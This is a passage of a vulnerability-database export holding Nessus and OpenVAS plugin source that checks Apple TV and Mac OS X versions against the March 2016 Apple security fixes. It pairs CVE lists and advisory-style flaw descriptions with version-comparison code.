crafted application. (CVE-2016-1750)\n\n - A flaw exists in the kernel due to a failure to properly\n restrict execution permissions. An unauthenticated,\n remote attacker can exploit this, via a crafted\n application, to bypass code-signing protection\n mechanisms. (CVE-2016-1751)\n\n - An unspecified flaw exists in the kernel that allows a\n local attacker to cause a denial of service via a\n crafted application. (CVE-2016-1752)\n\n - An integer overflow condition exists in the kernel due\n to improper validation of user-supplied input. An\n unauthenticated, remote attacker can exploit this, via\n a crafted application, to gain elevated privileges.\n (CVE-2016-1753)\n\n - A memory corruption issue exists in the kernel due to\n improper validation of user-supplied input. An\n unauthenticated, remote attacker can exploit this, by\n convincing a user to install a malicious application,\n to cause a denial of service or execute arbitrary code.\n CVE-2016-1754)\n\n - A use-after-free error exists in the AppleKeyStore user\n client when handling multiple threads, which is\n triggered when one thread closes the user client while\n another attempts to call an external method. An\n unauthenticated, remote attacker can exploit this, by\n convincing a user to install a malicious application, to\n execute arbitrary code with elevated privileges.\n (CVE-2016-1755)\n\n - A flaw exists in libxml2 due to improper validation of\n user-supplied input while handling XML content. An\n unauthenticated, remote attacker can exploit this, via a\n crafted XML document, to cause a denial of service or to\n execute arbitrary code. (CVE-2016-1762)\n\n - An out-of-bounds write error exists in TrueTypeScaler\n due to improper validation of user-supplied input while\n handling bdat tables in TTF fonts. An unauthenticated,\n remote attacker can exploit this, via a crafted TTF\n font, to cause a denial or service or to execute\n arbitrary code. (CVE-2016-1775)\n\n - A flaw exists in WebKit due to improper validation of\n user-supplied input. An unauthenticated, remote attacker\n can exploit this, via a crafted website, to cause a\n denial of service or execute arbitrary code.\n (CVE-2016-1783)\n\n - An unspecified flaw exists in the History implementation\n of WebKit that allows an unauthenticated, remote\n attacker to cause a denial of service via a crafted\n website. (CVE-2016-1784)\n\n - A heap buffer overflow condition exists in Mozilla\n Network Security Services due to improper validation of\n user-supplied input while parsing ASN.1 structures. An\n unauthenticated, remote attacker can exploit this, via\n crafted ASN.1 data in an X.509 certificate, to cause a\n denial of service or execute arbitrary code.\n (CVE-2016-1950)\n\nNote that only 4th generation models are affected by these\nvulnerabilities, and this plugin only checks these models.\");\n script_set_attribute(attribute:\"see_also\", value:\"https://support.apple.com/en-us/HT206169\");\n # http://prod.lists.apple.com/archives/security-announce/2016/Mar/msg00002.html\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?5c691f32\");\n script_set_attribute(attribute:\"solution\", value:\n\"Upgrade to Apple TV version 9.2 or later. Note that this update is\navailable only for 4th generation models.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:POC/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:P/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2015-8659\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2015/02/22\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2016/03/21\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2016/04/01\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"remote\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:apple:apple_tv\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"Misc.\");\n\n script_copyright(english:\"This script is Copyright (C) 2016-2019 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"appletv_version.nasl\");\n script_require_keys(\"AppleTV/Version\", \"AppleTV/URL\", \"AppleTV/Port\");\n script_require_ports(\"Services/www\", 7000);\n\n exit(0);\n}\n\ninclude(\"appletv_func.inc\");\ninclude(\"audit.inc\");\n\nurl = get_kb_item('AppleTV/URL');\nif (empty_or_null(url)) exit(0, 'Cannot determine Apple TV URL.');\nport = get_kb_item('AppleTV/Port');\nif (empty_or_null(port)) exit(0, 'Cannot determine Apple TV port.');\n\nbuild = get_kb_item('AppleTV/Version');\nif (empty_or_null(build)) audit(AUDIT_UNKNOWN_DEVICE_VER, 'Apple TV');\n\nmodel = get_kb_item('AppleTV/Model');\nif (empty_or_null(model)) exit(0, 'Cannot determine Apple TV model.');\n\n# fix\nfixed_build = \"13Y234\";\ntvos_ver = \"9.2\"; # for reporting purposes only\n\n# determine gen from the model\ngen = APPLETV_MODEL_GEN[model];\n\nappletv_check_version(\n build : build,\n fix : fixed_build,\n affected_gen : 4,\n fix_tvos_ver : tvos_ver,\n model : model,\n gen : gen,\n severity : SECURITY_HOLE,\n port : port,\n url : url\n);\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2019-12-13T07:54:02", "bulletinFamily": "scanner", "description": "The remote host is running a version of Mac OS X that is 10.11.x prior\nto 10.11.4. It is, therefore, affected by multiple vulnerabilities in\nthe following components :\n\n - apache_mod_php\n - AppleRAID\n - AppleUSBNetworking\n - Bluetooth\n - Carbon\n - dyld\n - FontParser\n - HTTPProtocol\n - Intel Graphics Driver\n - IOFireWireFamily\n - IOGraphics\n - IOHIDFamily\n - IOUSBFamily\n - Kernel\n - libxml2\n - Messages\n - NVIDIA Graphics Drivers\n - OpenSSH\n - OpenSSL\n - Python\n - QuickTime\n - Reminders\n - Ruby\n - Security\n - Tcl\n - TrueTypeScaler\n - Wi-Fi\n\nNote that successful exploitation of the most serious issues can\nresult in arbitrary code execution.", "modified": "2019-12-02T00:00:00", "id": "MACOSX_10_11_4.NASL", "href": "https://www.tenable.com/plugins/nessus/90096", "published": "2016-03-22T00:00:00", "title": "Mac OS X 10.11.x < 10.11.4 Multiple Vulnerabilities", "type": "nessus", "sourceData": "#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude(\"compat.inc\");\n\nif (description)\n{\n script_id(90096);\n script_version(\"1.17\");\n script_cvs_date(\"Date: 2019/11/20\");\n\n script_cve_id(\n \"CVE-2014-9495\",\n \"CVE-2015-0973\",\n \"CVE-2015-1819\",\n \"CVE-2015-3195\",\n \"CVE-2015-5312\",\n \"CVE-2015-7499\",\n \"CVE-2015-7500\",\n \"CVE-2015-7551\",\n \"CVE-2015-7942\",\n \"CVE-2015-8035\",\n \"CVE-2015-8126\",\n \"CVE-2015-8242\",\n \"CVE-2015-8472\",\n \"CVE-2015-8659\",\n \"CVE-2016-0777\",\n \"CVE-2016-0778\",\n \"CVE-2016-0801\",\n \"CVE-2016-0802\",\n \"CVE-2016-1732\",\n \"CVE-2016-1733\",\n \"CVE-2016-1734\",\n \"CVE-2016-1735\",\n \"CVE-2016-1736\",\n \"CVE-2016-1737\",\n \"CVE-2016-1738\",\n \"CVE-2016-1740\",\n \"CVE-2016-1741\",\n \"CVE-2016-1743\",\n \"CVE-2016-1744\",\n \"CVE-2016-1745\",\n \"CVE-2016-1746\",\n \"CVE-2016-1747\",\n \"CVE-2016-1748\",\n \"CVE-2016-1749\",\n \"CVE-2016-1750\",\n \"CVE-2016-1752\",\n \"CVE-2016-1753\",\n \"CVE-2016-1754\",\n \"CVE-2016-1755\",\n \"CVE-2016-1756\",\n \"CVE-2016-1757\",\n \"CVE-2016-1758\",\n \"CVE-2016-1759\",\n \"CVE-2016-1761\",\n \"CVE-2016-1762\",\n \"CVE-2016-1764\",\n \"CVE-2016-1767\",\n \"CVE-2016-1768\",\n \"CVE-2016-1769\",\n \"CVE-2016-1770\",\n \"CVE-2016-1773\",\n \"CVE-2016-1775\",\n \"CVE-2016-1788\",\n \"CVE-2016-1950\"\n );\n script_bugtraq_id(\n 71820,\n 71994,\n 75570,\n 77390,\n 77568,\n 77681,\n 78624,\n 78626,\n 79507,\n 79509,\n 79536,\n 79562,\n 80438,\n 80695,\n 80698\n );\n script_xref(name:\"APPLE-SA\", value:\"APPLE-SA-2016-03-21-5\");\n\n script_name(english:\"Mac OS X 10.11.x < 10.11.4 Multiple Vulnerabilities\");\n script_summary(english:\"Checks the version of Mac OS X.\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote Mac OS X host is affected by multiple vulnerabilities.\");\n script_set_attribute(attribute:\"description\", value:\n\"The remote host is running a version of Mac OS X that is 10.11.x prior\nto 10.11.4. It is, therefore, affected by multiple vulnerabilities in\nthe following components :\n\n - apache_mod_php\n - AppleRAID\n - AppleUSBNetworking\n - Bluetooth\n - Carbon\n - dyld\n - FontParser\n - HTTPProtocol\n - Intel Graphics Driver\n - IOFireWireFamily\n - IOGraphics\n - IOHIDFamily\n - IOUSBFamily\n - Kernel\n - libxml2\n - Messages\n - NVIDIA Graphics Drivers\n - OpenSSH\n - OpenSSL\n - Python\n - QuickTime\n - Reminders\n - Ruby\n - Security\n - Tcl\n - TrueTypeScaler\n - Wi-Fi\n\nNote that successful exploitation of the most serious issues can\nresult in arbitrary code execution.\");\n script_set_attribute(attribute:\"see_also\", value:\"https://support.apple.com/en-us/HT206167\");\n # http://lists.apple.com/archives/security-announce/2016/Mar/msg00004.html\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?6c87f79a\");\n script_set_attribute(attribute:\"solution\", value:\n\"Upgrade to Mac OS X version 10.11.4 or later.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C\");\n script_set_cvss_temporal_vector(\"CVSS2#E:H/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:H/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2016-1761\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"exploited_by_malware\", value:\"true\");\n script_set_attribute(attribute:\"exploit_framework_canvas\", value:\"true\");\n script_set_attribute(attribute:\"canvas_package\", value:'CANVAS');\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2014/12/18\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2016/03/21\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2016/03/22\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"combined\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/o:apple:mac_os_x\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"MacOS X Local Security Checks\");\n\n script_copyright(english:\"This script is Copyright (C) 2016-2019 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"ssh_get_info.nasl\", \"os_fingerprint.nasl\");\n script_require_ports(\"Host/MacOSX/Version\", \"Host/OS\");\n\n exit(0);\n}\n\ninclude(\"audit.inc\");\ninclude(\"global_settings.inc\");\ninclude(\"misc_func.inc\");\n\nos = get_kb_item(\"Host/MacOSX/Version\");\nif (!os)\n{\n os = get_kb_item_or_exit(\"Host/OS\");\n if (\"Mac OS X\" >!< os)\n audit(AUDIT_OS_NOT, \"Mac OS X\");\n\n c = get_kb_item(\"Host/OS/Confidence\");\n if (c <= 70)\n exit(1, \"Cannot determine the host's OS with sufficient confidence.\");\n}\nif (!os)\n audit(AUDIT_OS_NOT, \"Mac OS X\");\n\nmatch = eregmatch(pattern:\"Mac OS X ([0-9]+(\\.[0-9]+)+)\", string:os);\nif (isnull(match)) exit(1, \"Failed to parse the Mac OS X version ('\" + os + \"').\");\n\nversion = match[1];\n\nif (\n version !~ \"^10\\.11([^0-9]|$)\"\n) audit(AUDIT_OS_NOT, \"Mac OS X 10.11 or later\", \"Mac OS X \"+version);\n\nfix = \"10.11.4\";\nif (ver_compare(ver:version, fix:fix, strict:FALSE) == -1)\n{\n items = make_array(\"Installed version\", version,\n \"Fixed version\", fix\n );\n order = make_list(\"Installed version\", \"Fixed version\");\n report = report_items_str(report_items:items, ordered_fields:order);\n\n security_report_v4(port:0, extra:report, severity:SECURITY_HOLE);\n exit(0);\n\n }\nelse\n audit(AUDIT_INST_VER_NOT_VULN, \"Mac OS X\", version);\n", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}], "openvas": [{"lastseen": "2019-05-29T18:35:43", "bulletinFamily": "scanner", "description": "This host is running Apple Mac OS X and\n is prone to multiple vulnerabilities.", "modified": "2019-05-03T00:00:00", "published": "2016-04-01T00:00:00", "id": "OPENVAS:1361412562310806695", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310806695", "title": "Apple Mac OS X Multiple Vulnerabilities-02 March-2016", "type": "openvas", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n#\n# Apple Mac OS X Multiple Vulnerabilities-02 March-2016\n#\n# Authors:\n# Shakeel <bshakeel@secpod.com>\n#\n# Copyright:\n# Copyright (C) 2016 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.806695\");\n script_version(\"2019-05-03T08:55:39+0000\");\n script_cve_id(\"CVE-2016-1754\", \"CVE-2016-1755\", \"CVE-2016-1759\", \"CVE-2016-1761\",\n \"CVE-2016-1765\", \"CVE-2015-8472\", \"CVE-2015-1819\", \"CVE-2015-5312\",\n \"CVE-2015-7499\", \"CVE-2015-7500\", \"CVE-2015-7942\", \"CVE-2015-8035\",\n \"CVE-2015-8242\", \"CVE-2016-1762\", \"CVE-2016-0777\", \"CVE-2016-0778\",\n \"CVE-2015-5333\", \"CVE-2015-5334\", \"CVE-2014-9495\", \"CVE-2015-0973\",\n \"CVE-2016-1791\", \"CVE-2016-1800\", \"CVE-2016-1833\", \"CVE-2016-1834\",\n \"CVE-2016-1835\", \"CVE-2016-1836\", \"CVE-2016-1837\", \"CVE-2016-1838\",\n \"CVE-2016-1839\", \"CVE-2016-1840\", \"CVE-2016-1841\", \"CVE-2016-1847\");\n script_tag(name:\"cvss_base\", value:\"10.0\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:C/I:C/A:C\");\n script_tag(name:\"last_modification\", value:\"2019-05-03 08:55:39 +0000 (Fri, 03 May 2019)\");\n script_tag(name:\"creation_date\", value:\"2016-04-01 13:19:35 +0530 (Fri, 01 Apr 2016)\");\n script_name(\"Apple Mac OS X Multiple Vulnerabilities-02 March-2016\");\n\n script_tag(name:\"summary\", value:\"This host is running Apple Mac OS X and\n is prone to multiple vulnerabilities.\");\n\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable version is present on the target host.\");\n\n script_tag(name:\"insight\", value:\"Multiple flaws exists. For details\n refer the reference links.\");\n\n script_tag(name:\"impact\", value:\"Successful exploitation will allow attacker\n to execute arbitrary code or cause a denial of service (memory corruption),\n gain access to potentially sensitive information, trigger a dialing action via a\n tel: URL, bypass a code-signing protection mechanism.\");\n\n script_tag(name:\"affected\", value:\"Apple Mac OS X versions 10.9.x before 10.9.5\n and 10.10.x before 10.10.5\");\n\n script_tag(name:\"solution\", value:\"Apply the appropriate security patch from\n the vendor. Please see the references for more information.\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n\n script_tag(name:\"qod_type\", value:\"package\");\n\n script_xref(name:\"URL\", value:\"https://support.apple.com/en-us/HT206567\");\n\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2016 Greenbone Networks GmbH\");\n script_family(\"Mac OS X Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/osx_name\", \"ssh/login/osx_version\", re:\"ssh/login/osx_version=^10\\.(9|10)\");\n\n exit(0);\n}\n\ninclude(\"version_func.inc\");\n\nosName = get_kb_item(\"ssh/login/osx_name\");\nif(!osName || \"Mac OS X\" >!< osName)\n exit(0);\n\nosVer = get_kb_item(\"ssh/login/osx_version\");\nif(!osVer || osVer !~ \"^10\\.(9|10)\"){\n exit(0);\n}\n\nif((osVer == \"10.9.5\") || (osVer == \"10.10.5\"))\n{\n buildVer = get_kb_item(\"ssh/login/osx_build\");\n if(!buildVer){\n exit(0);\n }\n if(osVer == \"10.9.5\" && version_is_less(version:buildVer, test_version:\"13F1808\"))\n {\n fix = \"Apply patch from vendor\";\n osVer = osVer + \" Build \" + buildVer;\n }\n else if(osVer == \"10.10.5\" && version_is_less(version:buildVer, test_version:\"14F1808\"))\n {\n fix = \"Apply patch from vendor\";\n osVer = osVer + \" Build \" + buildVer;\n }\n}\n\nelse if(version_in_range(version:osVer, test_version:\"10.9\", test_version2:\"10.9.4\")){\n fix = \"10.9.5 build 13F1808\";\n}\nelse if(version_in_range(version:osVer, test_version:\"10.10\", test_version2:\"10.10.4\")){\n fix = \"10.10.5 build 14F1808\";\n}\n\nif(fix)\n{\n report = report_fixed_ver(installed_version:osVer, fixed_version:fix);\n security_message(data:report);\n exit(0);\n}\n\nexit(99);", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2019-07-17T14:25:33", "bulletinFamily": "scanner", "description": "This host is running Apple Mac OS X and\n is prone to multiple vulnerabilities.", "modified": "2019-07-05T00:00:00", "published": "2016-04-01T00:00:00", "id": "OPENVAS:1361412562310806693", "href": "http://plugins.openvas.org/nasl.php?oid=1361412562310806693", "title": "Apple Mac OS X Multiple Vulnerabilities-01 March-2016", "type": "openvas", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n#\n# Apple Mac OS X Multiple Vulnerabilities-01 March-2016\n#\n# Authors:\n# Shakeel <bshakeel@secpod.com>\n#\n# Copyright:\n# Copyright (C) 2016 Greenbone Networks GmbH, http://www.greenbone.net\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\nif(description)\n{\n script_oid(\"1.3.6.1.4.1.25623.1.0.806693\");\n script_version(\"2019-07-05T09:12:25+0000\");\n script_cve_id(\"CVE-2015-7551\", \"CVE-2016-1733\", \"CVE-2016-1732\", \"CVE-2016-1734\",\n \"CVE-2016-1735\", \"CVE-2016-1736\", \"CVE-2016-1737\", \"CVE-2016-1740\",\n \"CVE-2016-1738\", \"CVE-2016-1741\", \"CVE-2016-1743\", \"CVE-2016-1744\",\n \"CVE-2016-1745\", \"CVE-2016-1746\", \"CVE-2016-1747\", \"CVE-2016-1748\",\n \"CVE-2016-1749\", \"CVE-2016-1752\", \"CVE-2016-1753\", \"CVE-2016-1754\",\n \"CVE-2016-1755\", \"CVE-2016-1756\", \"CVE-2016-1757\", \"CVE-2016-1758\",\n \"CVE-2016-1759\", \"CVE-2016-1761\", \"CVE-2016-1764\", \"CVE-2016-1765\",\n \"CVE-2016-1767\", \"CVE-2016-1768\", \"CVE-2016-1769\", \"CVE-2016-1770\",\n \"CVE-2016-1773\", \"CVE-2016-1775\", \"CVE-2016-1750\", \"CVE-2016-1788\",\n \"CVE-2015-8126\", \"CVE-2015-8472\", \"CVE-2015-8659\", \"CVE-2015-1819\",\n \"CVE-2015-5312\", \"CVE-2015-7499\", \"CVE-2015-7500\", \"CVE-2015-7942\",\n \"CVE-2015-8035\", \"CVE-2015-8242\", \"CVE-2016-1762\", \"CVE-2016-0777\",\n \"CVE-2016-0778\", \"CVE-2015-3195\", \"CVE-2014-9495\", \"CVE-2015-0973\",\n \"CVE-2016-1950\", \"CVE-2016-0801\", \"CVE-2016-0802\");\n script_tag(name:\"cvss_base\", value:\"10.0\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:C/I:C/A:C\");\n script_tag(name:\"last_modification\", value:\"2019-07-05 09:12:25 +0000 (Fri, 05 Jul 2019)\");\n script_tag(name:\"creation_date\", value:\"2016-04-01 13:19:28 +0530 (Fri, 01 Apr 2016)\");\n script_name(\"Apple Mac OS X Multiple Vulnerabilities-01 March-2016\");\n\n script_tag(name:\"summary\", value:\"This host is running Apple Mac OS X and\n is prone to multiple vulnerabilities.\");\n\n script_tag(name:\"vuldetect\", value:\"Checks if a vulnerable version is present on the target host.\");\n\n script_tag(name:\"insight\", value:\"Multiple flaws exists. For details\n refer the reference links.\");\n\n script_tag(name:\"impact\", value:\"Successful exploitation will allow attacker\n to execute arbitrary code or cause a denial of service (memory corruption),\n gain access to potentially sensitive information, trigger a dialing action,\n bypass a code-signing protection mechanism.\");\n\n script_tag(name:\"affected\", value:\"Apple Mac OS X versions 10.11.x before\n 10.11.4, 10.9.x through 10.9.5, 10.10.x through 10.10.5\");\n\n script_tag(name:\"solution\", value:\"Upgrade to Apple Mac OS X version\n 10.11.4 or later, or apply aptch from vendor.\");\n\n script_tag(name:\"solution_type\", value:\"VendorFix\");\n\n script_tag(name:\"qod_type\", value:\"package\");\n\n script_xref(name:\"URL\", value:\"https://support.apple.com/en-us/HT206167\");\n\n script_category(ACT_GATHER_INFO);\n script_copyright(\"Copyright (C) 2016 Greenbone Networks GmbH\");\n script_family(\"Mac OS X Local Security Checks\");\n script_dependencies(\"gather-package-list.nasl\");\n script_mandatory_keys(\"ssh/login/osx_name\", \"ssh/login/osx_version\", re:\"ssh/login/osx_version=^10\\.(9|1[01])\");\n\n exit(0);\n}\n\ninclude(\"version_func.inc\");\n\nosName = get_kb_item(\"ssh/login/osx_name\");\nif(!osName || \"Mac OS X\" >!< osName)\n exit(0);\n\nosVer = get_kb_item(\"ssh/login/osx_version\");\nif(!osVer || osVer !~ \"^10\\.(9|1[01])\"){\n exit(0);\n}\n\nif(version_in_range(version:osVer, test_version:\"10.9\", test_version2:\"10.9.4\")||\n version_in_range(version:osVer, test_version:\"10.10\", test_version2:\"10.10.4\")){\n fix = \"Upgrade to latest OS release and apply patch from vendor\";\n}\n\nelse if((osVer == \"10.10.5\") || (osVer == \"10.9.5\"))\n{\n buildVer = get_kb_item(\"ssh/login/osx_build\");\n if(!buildVer){\n exit(0);\n }\n if(osVer == \"10.10.5\" && version_is_less(version:buildVer, test_version:\"14F1713\"))\n {\n fix = \"Apply patch from vendor\";\n osVer = osVer + \" Build \" + buildVer;\n }\n else if(osVer == \"10.9.5\" && version_is_less(version:buildVer, test_version:\"13F1712\"))\n {\n fix = \"Apply patch from vendor\";\n osVer = osVer + \" Build \" + buildVer;\n }\n}\n\nelse if(osVer =~ \"^10\\.11\")\n{\n if(version_is_less(version:osVer, test_version:\"10.11.4\")){\n fix = \"10.11.4\";\n }\n}\n\nif(fix)\n{\n report = report_fixed_ver(installed_version:osVer, fixed_version:fix);\n security_message(data:report);\n exit(0);\n}\n\nexit(99);", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}]}